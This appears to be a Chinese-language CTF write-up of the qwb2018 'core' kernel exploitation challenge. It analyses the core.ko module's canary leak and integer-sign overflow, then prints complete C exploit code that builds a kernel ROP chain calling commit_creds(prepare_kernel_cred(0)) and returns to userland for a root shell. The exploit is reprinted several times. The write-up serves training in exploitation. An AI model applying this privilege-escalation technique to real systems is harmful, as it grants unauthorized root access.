当前位置: 首页 > news >正文

Kernel PWN 入门(二)

Basic Kernel ROP

qwb2018-core

Kernel ROP的本质是为了提权。并且rop结束部分需要引导程序流着陆回用户态.

题目给出了bzImage, core.cpio, start.sh, vmlinux四个文件。

首先将文件系统,core.cpio解包。

mkdir ./fs
cd fs
cp ../core.cpio ./core.cpio.gz
gunzip ./core.cpio.gz
cpio -idmv < ./core.cpio

发现除了常规文件以外,还多了一个gen_cpio.sh方便快速打包。

首先来看start.sh

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

开启了kaslr保护,并且用-sgdb开了端口,所以不需要再-gdb tcp::1234开了。
不过他设置的64M内存不是很够用,我最终设置到了512M才能启动。
为了方便后续调试可以做如下修改:

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.img \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr nopti mitigations=off" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

这里文件系统改成rootfs.img是后面我们对文件系统进行修改或者写exp后重新打包后的东西。

  • nokaslr: 禁用 KASLR(内核地址空间布局随机化),确保调试时地址固定。

  • nopti: 禁用 PTI(页表隔离),提升性能(但降低安全性)。

  • mitigations=off: 关闭所有安全缓解措施(如 Spectre/Meltdown 防护),避免干扰漏洞利用。

然后再来看fs文件下的init文件

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.kopoweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /syspoweroff -d 0  -f

比较特殊的地方就是将/proc/sys/kernel/kptr_restrict和/proc/sys/kernel/dmesg_restrict的内容设为了1,如此一来,就无法通过dmesg和查看/proc/kallsyms来获取函数地址了。
但是前面有一行。

cat /proc/kallsyms > /tmp/kallsyms

将kallsyms备份到了tmp文件夹下。所以我们可以查看tmp目录下的kallsyms

setsid /bin/cttyhack setuidgid 1000 /bin/sh

这里设置了权限为普通用户,改为0就是root权限,可以方便调试。

然后之后设置了poweroff -d 120 -f,这句比较影响之后的调试,可以直接删掉,或者把时间改长一点。

最后做出如下修改:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
# 禁用内核符号地址隐藏(关键调试配置)
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrictifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.kopoweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 0 /bin/sh  #root#移除关机逻辑
# echo 'sh end!\n'
# umount /proc
# umount /sys# poweroff -d 0  -f# 添加保持系统运行的机制
echo "[+] Debug shell exited. Keeping the system alive..."
while true; dosleep 99999999
done

这里可以不用sleep而是直接把120改大一点就欧克了。

分析

接下来就是分析core.ko的漏洞了
checksec发现开启了canary和nx。
在这里插入图片描述

init_module函数

在这里插入图片描述
proc_create 是 Linux 内核中的一个函数,用于创建一个新的 /proc 文件系统条目。这个函数常用于内核模块中,以便在 /proc 文件系统下创建一个新的文件,使得用户空间程序可以通过这个文件与内核模块进行交互。
这里创建一个名为 : /proc/core

对于这里的fops,也只对core_write,core_ioctl,core_release进行了注册。

core_ioctl函数

在这里插入图片描述
这里core_ioctl中定义了三种操作,分别是调用core_read()设置全局变量off,调用core_copy_func()

core_read函数

在这里插入图片描述

这里的copy_to_user(),会把内核空间中的栈上的数据拷贝到a1,a1off是我们可以控制的,因此可以利用这个函数来泄露canary

core_write函数

在这里插入图片描述

core_write是将至多0x800个字节从指定缓冲区复制到name中去

core_copy_func函数(最大漏洞所在)

在这里插入图片描述
当长度参数a1小于等于63时,便可将name中对应字节数的数据复制到栈上变量v1中去,且a1和63作比较时是有符号数,最后调用qmemcpy时转成了unsigned __int16。所以只需要将a1最低两个字节的数据随便设置成一个能装下name的长度,然后其余字节都是0xff就行了。我这里最后构造的a10xffffffffffff0100

利用思路

  1. 通过调试设置off,利用core_read函数去读取canary
  2. 构造ROP链,用core_write函数name中写入数据
  3. 调用core_copy_func,将name的内容写入栈上变量v1中,造成栈溢出,调用commit_creds(prepare_kernel_cred(0))提权。

再没有开kalsrpie的情况下:

  • 原始无pievmlinux基址是0xffffffff81000000
    commit_creds的地址是0xffffffff81000000+0x9c8e0
    prepare_kernel_creds的地址是0xffffffff8109cce0

在开启pie和kalsr的情况下,就要重新计算偏移。

可以用ropper查找后续需要的gadget

ropper --file ./vmlinux --nocolor > rop

泄露canary

先写下如下代码来获取canary

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}int set_off(int fd,unsigned long off){if(ioctl(fd,0x6677889C,off) == -1){printf("set off ioctl failed!");return -1;}return 0;}int core_read(int fd,void *addr){if(ioctl(fd,0x6677889B,addr) == -1){printf("core_read ioctl failed!");return -1;}return 0;}int core_copy_func(int fd, int64_t len) {if (ioctl(fd, 0x6677889A, len) == -1) {perror("[!] core_copy_func ioctl failed");return -1;}return 0;
}int main(){save_status();int fd = open("/proc/core",O_RDWR);if(fd<0){printf("open error!!!");exit(-1);}printf("[+] open success!\n");// 泄露金丝雀char buf[0x40] = {0};set_off(fd,0x40);core_read(fd,buf);uint64_t canary = ((uint64_t*)buf)[0];printf("[*]leak canary is ------------>>: 0x%lx\n",canary);return 0;
}

这里设置off位0x40,是因为通过调试发现canary在0x40处。

执行copy_to_user()前
在这里插入图片描述
执行后:
在这里插入图片描述
这里就能看出canay的位置。然后canary已经复制到buf

泄露内核基地址

/proc/kallsymsLinux/proc文件系统中的一个虚拟文件,它提供了内核导出的所有符号(函数和变量)及其地址的列表。本质上,它是用户空间可以访问的内核符号表。此文件中的每一行都表示一个内核符号

startup_64 是 Linux 内核代码中的一个符号,通常与内核启动过程中的初始化代码相关。在cat /proc/kallsyms输出中,startup_64 对应的地址(如 0xffffffff81000000)是内核的基地址。该地址表示内核加载到内存时的起始位置。

由于init文件设置了不能查看/proc/kallsyms, 题目初始脚本将 /proc/kallsyms 写入了 /tmp/kallsyms,因此可以查看/tmp/kallsyms来获取想要的函数地址。

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}int set_off(int fd,unsigned long off){if(ioctl(fd,0x6677889C,off) == -1){printf("set off ioctl failed!");return -1;}return 0;}int core_read(int fd,void *addr){if(ioctl(fd,0x6677889B,addr) == -1){printf("core_read ioctl failed!");return -1;}return 0;}int core_copy_func(int fd, int64_t len) {if (ioctl(fd, 0x6677889A, len) == -1) {perror("[!] core_copy_func ioctl failed");return -1;}return 0;
}unsigned long get_symbol_address(const char *symbol_name) {FILE *fp;char line[1024];unsigned long address;char symbol[1024];// 打开 /proc/kallsyms 文件fp = fopen("/tmp/kallsyms", "r");if (fp == NULL) {perror("fopen");return 0;}// 遍历每一行,查找符号while (fgets(line, sizeof(line), fp) != NULL) {// 解析每行的地址和符号名称if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {// 如果符号名称匹配,返回地址if (strcmp(symbol, symbol_name) == 0) {fclose(fp);return address;}}}// 如果没有找到符号,返回 0fclose(fp);return 0;
}int main(){save_status();int fd = open("/proc/core",O_RDWR);if(fd<0){printf("open error!!!");exit(-1);}printf("[+] open success!\n");// 泄露金丝雀char buf[0x40] = {0};set_off(fd,0x40);core_read(fd,buf);uint64_t canary = ((uint64_t*)buf)[0];printf("[*]leak canary is ------------>>: 0x%lx\n",canary);// 获取内核基地址uint64_t kernel_base = get_symbol_address("startup_64");uint64_t prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");uint64_t commit_creds_addr = get_symbol_address("commit_creds");printf("[*]leak kernel_base address ------->>>: %p\n",kernel_base);printf("[*]leak prepare_kernel_cred address ------->>>: %p\n",prepare_kernel_cred_addr);printf("[*]leak commit_creds address ------->>>: %p\n",commit_creds_addr);return 0;
}

在这里插入图片描述

ROP

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}int set_off(int fd,unsigned long off){if(ioctl(fd,0x6677889C,off) == -1){printf("set off ioctl failed!");return -1;}return 0;}int core_read(int fd,void *addr){if(ioctl(fd,0x6677889B,addr) == -1){printf("core_read ioctl failed!");return -1;}return 0;}int core_copy_func(int fd, int64_t len) {if (ioctl(fd, 0x6677889A, len) == -1) {perror("[!] core_copy_func ioctl failed");return -1;}return 0;
}void get_root_shell(){if(getuid()==0){system("/bin/sh");}else{puts("[-] get root shell failed.");exit(-1);}
}unsigned long get_symbol_address(const char *symbol_name) {FILE *fp;char line[1024];unsigned long address;char symbol[1024];// 打开 /proc/kallsyms 文件fp = fopen("/tmp/kallsyms", "r");if (fp == NULL) {perror("fopen");return 0;}// 遍历每一行,查找符号while (fgets(line, sizeof(line), fp) != NULL) {// 解析每行的地址和符号名称if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {// 如果符号名称匹配,返回地址if (strcmp(symbol, symbol_name) == 0) {fclose(fp);return address;}}}// 如果没有找到符号,返回 0fclose(fp);return 0;
}int main(){save_status();int fd = open("/proc/core",O_RDWR);if(fd<0){printf("open error!!!");exit(-1);}printf("[+] open success!\n");// 泄露金丝雀char buf[0x40] = {0};set_off(fd,0x40);core_read(fd,buf);uint64_t canary = ((uint64_t*)buf)[0];printf("[*]leak canary is ------------>>: 0x%lx\n",canary);// 获取内核基地址uint64_t kernel_base = get_symbol_address("startup_64");uint64_t prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");uint64_t commit_creds_addr = get_symbol_address("commit_creds");printf("[*]leak kernel_base address ------->>>: %p\n",kernel_base);printf("[*]leak prepare_kernel_cred address ------->>>: %p\n",prepare_kernel_cred_addr);printf("[*]leak commit_creds address ------->>>: %p\n",commit_creds_addr);size_t ROP[0x100] = {0};ROP[8] = canary;ROP[10] = kernel_base+0xb2f; //pop rdi; retROP[11] = 0;ROP[12] = prepare_kernel_cred_addr;ROP[13] = kernel_base+0x021e53;  //pop rcx; ret ROP[14] = commit_creds_addr;ROP[15] = kernel_base+0x1ae978; //mov rdi, rax; jmp rcx; or mov rdi, rax; call rcx;ROP[16] = kernel_base+0xa012da; //swapgs; popfq; ret;ROP[17] = 0;ROP[18] = kernel_base+0x050ac2;  //iretq; ret;ROP[19] = (size_t)get_root_shell;  //ripROP[20] = user_cs;ROP[21] = user_rflags;ROP[22] = user_sp;ROP[23] = user_ss;write(fd,ROP,0x800);puts("[+] rop loaded.");core_copy_func(fd,(0xffffffffffff0000|0x100));return 0;
}

通过 ROP 链模拟函数调用,步骤分解:

  • prepare_kernel_cred(0) 调用 prepare_kernel_cred,参数 rdi = 0
    返回值cred 结构指针)存储在 rax 寄存器
    commit_creds(rax) rax 的值作为参数传给 commit_creds(需移动到 rdi)

返回用户态
由内核态返回用户态只需要:

  • swapgs指令恢复用户态 GS 寄存器
  • sysretq或者iretq恢复到用户空间

那么我们只需要在内核中找到相应的 gadget 并执行swapgs;iretq就可以成功着陆回用户态。

通常来说,我们应当构造如下 rop 链以返回用户态并获得一个 shell:

↓   swapgsiretquser_shell_addruser_csuser_eflags //64bit user_rflagsuser_spuser_ss

swapgs: 交换内核态与用户态的gs寄存器

iretq&&sysretq: 这两个指令都是用于返回用户态

其中iretq等效

pop rip
pop cs
pop rflags
pop rsp
pop ss

sysretq则等效

pop rip

调试如下:
在这里插入图片描述

在这里插入图片描述

最终EXP

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}int set_off(int fd,unsigned long off){if(ioctl(fd,0x6677889C,off) == -1){printf("set off ioctl failed!");return -1;}return 0;}int core_read(int fd,void *addr){if(ioctl(fd,0x6677889B,addr) == -1){printf("core_read ioctl failed!");return -1;}return 0;}int core_copy_func(int fd, int64_t len) {if (ioctl(fd, 0x6677889A, len) == -1) {perror("[!] core_copy_func ioctl failed");return -1;}return 0;
}void get_root_shell(){if(getuid()==0){system("/bin/sh");}else{puts("[-] get root shell failed.");exit(-1);}
}unsigned long get_symbol_address(const char *symbol_name) {FILE *fp;char line[1024];unsigned long address;char symbol[1024];// 打开 /proc/kallsyms 文件fp = fopen("/tmp/kallsyms", "r");if (fp == NULL) {perror("fopen");return 0;}// 遍历每一行,查找符号while (fgets(line, sizeof(line), fp) != NULL) {// 解析每行的地址和符号名称if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {// 如果符号名称匹配,返回地址if (strcmp(symbol, symbol_name) == 0) {fclose(fp);return address;}}}// 如果没有找到符号,返回 0fclose(fp);return 0;
}int main(){save_status();int fd = open("/proc/core",O_RDWR);if(fd<0){printf("open error!!!");exit(-1);}printf("[+] open success!\n");// 泄露金丝雀char buf[0x40] = {0};set_off(fd,0x40);core_read(fd,buf);uint64_t canary = ((uint64_t*)buf)[0];printf("[*]leak canary is ------------>>: 0x%lx\n",canary);// 获取内核基地址uint64_t kernel_base = get_symbol_address("startup_64");uint64_t prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");uint64_t commit_creds_addr = get_symbol_address("commit_creds");printf("[*]leak kernel_base address ------->>>: %p\n",kernel_base);printf("[*]leak prepare_kernel_cred address ------->>>: %p\n",prepare_kernel_cred_addr);printf("[*]leak commit_creds address ------->>>: %p\n",commit_creds_addr);size_t ROP[0x100] = {0};ROP[8] = canary;ROP[10] = kernel_base+0xb2f; //pop rdi; retROP[11] = 0;ROP[12] = prepare_kernel_cred_addr;ROP[13] = kernel_base+0x021e53;  //pop rcx; ret ROP[14] = commit_creds_addr;ROP[15] = kernel_base+0x1ae978; //mov rdi, rax; jmp rcx; or mov rdi, rax; call rcx;ROP[16] = kernel_base+0xa012da; //swapgs; popfq; ret;ROP[17] = 0;ROP[18] = kernel_base+0x050ac2;  //iretq; ret;ROP[19] = (size_t)get_root_shell;  //ripROP[20] = user_cs;ROP[21] = user_rflags;ROP[22] = user_sp;ROP[23] = user_ss;write(fd,ROP,0x800);puts("[+] rop loaded.");core_copy_func(fd,(0xffffffffffff0000|0x100));return 0;
}
http://www.dtcms.com/a/302282.html

相关文章:

  • 【深度学习优化算法】10:Adam算法
  • Mybatis_4
  • 设计模式十二:门面模式 (FaçadePattern)
  • Kafka——请求是怎么被处理的?
  • 6.2 总线事务和定时 (答案见原书 P295)
  • 疏老师-python训练营-Day28类的定义和方法
  • 【LeetCode 热题 100】35. 搜索插入位置——二分查找(闭区间)
  • 区块链分叉原理与代码仿真
  • leetcode 2044. 统计按位或能得到最大值的子集数目 中等
  • 主要分布于内侧内嗅皮层的层Ⅲ的网格-速度联合细胞(Grid × Speed Conjunctive Cells)对NLP中的深层语义分析的积极影响和启示
  • 热斑漏检率↓78%!陌讯多模态算法在无人机光伏巡检的轻量化实践
  • 问题大全【1】
  • 【深度解析】R语言与作物模型(以DSSAT模型为例)融合应用
  • 散点图(散点矩阵)相关介绍
  • 【计算机科学与应用】基于多域变换的视频水印嵌入算法研究
  • 电脑出现英文字母开不了机怎么办 原因与修复方法
  • 开发笔记 | 实现人物立绘的差分效果
  • 达梦有多少个模式
  • 低成本嵌入式Linux开发方案:通过配置文件实现参数设置
  • LeetCode 68:文本左右对齐
  • 如何解决pip安装报错ModuleNotFoundError: No module named ‘papermill’问题
  • Docker搭建Hadoop集群
  • 进程管理(systemd)
  • 企业微信服务商创建第三方应用配置数据回调url和指令回调url的java代码实现
  • Python系统交互库全解析
  • Entity Framework Core (EF Core) 中Database
  • 归雁思维:解锁自然规律与人类智慧的桥梁
  • Online Proofing System(OPS)在线校样系统使用说明
  • Linux进程概念(五)进程地址空间
  • Leaflet 综合案例 - 路径规划